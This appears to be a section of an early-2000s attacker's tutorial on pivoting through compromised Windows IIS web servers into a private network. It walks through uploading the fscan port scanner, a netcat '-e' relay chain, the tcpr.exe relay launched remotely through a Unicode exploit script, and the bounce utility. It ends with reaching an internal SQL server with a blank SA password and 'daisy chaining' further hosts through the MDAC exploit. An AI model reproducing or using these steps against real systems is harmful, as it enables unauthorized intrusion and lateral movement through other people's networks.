What to execute?

What to execute?
A tool that I like using once command line access has been gained on a NT box is FSCAN.EXE (get it at Packetstorm or at www.sensepost.com/summercon2001/fscan.exe). It is a nifty command line portscanner that is packed with features. Once compromised, this portscanner is uploaded, and scanning on the rest of the network can begin. Make sure that you know where to scan - study your surroundings, like explained earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o c:\inetpub\wwwroot\sportscan.txt
Above portscan will identify all hosts running webservers, telnet daemons and MS-SQL, and will send the output directly to a file called sportscan.txt that is located in the webroot -ready to be surfed. The output of such a scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If we assume that 169.xxx.201.4 is located in the private network (and that the host where this scan was executed from is in the DMZ) it makes sense to try to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to compromise this host - that will give us access to resources on the private network. It might even be interesting to see what is running on the MS-SQL part of the server. We now want to be able to fire up SQL Enterprise server, hop via the compromised host right onto the SQL port on 169.xxx.201.4 (assuming of course that we cannot go there direct).
How is this accomplished? One way could be to hook two instances of netcat together - something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have found that this method does not work that nice in all situations. Courtesy of a good friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exe takes 4 arguments:Tcpr starts to listen on listenPort, relaying (on a network level) all traffic to destinationIP on port destinationPort. Before it relays a connection it checks for the existence of killfile, and if so, it exists very quietly. The killfile is only there to make it easy to kill the relay as there is no kill `ps -ax | grep tcpr | awk '{print $1}'` available in the standard NT distribution (har har). With tcpr we can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE program is available at www.sensepost.com/summercon2001/tcp.zip.
Keeping all of above in mind, we could reach the SQL server by uploading tcpr.exe to the victim and executing the following command (let us assume that the site is vulnerable to the Unicode exploit - the attacker is using my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been uploaded to c:\temp using the upload page):
perl unicodexecute3.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 1443 c:\blah.txt'
In the SQL enterprise manager we cannot specify the port. We thus need to "bounce" the local port 1433 to port 53 on the webserver. For this we use the utility "bounce".
Use: bounce [-a localaddr] [-p localport] machine port
#bounce -a 127.0.0.1 -p 1433 53
Ready to bounce connections from port 1433 to on port 53
Pointing your SQL enterprise manager to 127.0.0.1 we now reach the SQL server running on the inside of the private network. Assuming a blank SA password, we are home free. When we are finished with the SQL server, and now want to attack the webserver we simple do:
perl unicodexecute3.pl :80 'echo aaa > c:\blah.txt'
telnet 53
perl unicodexecute3.pl :80 'del c:\blah.txt'
perl unicodexecute3.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 80 c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS servers together, reaching deep within a network. If we assume that the server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the server would be as simple as:
perl rfpnew.pl -h -p 53 -C ''
By simply modifying the convert.pl script mentioned earlier to point to port 53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are working don't despair, it happens...
Using PERL2EXE one can also "port" PERL scripts from Unix to Win32. Using this one can upload an exploit to the webserver, and execute it locally.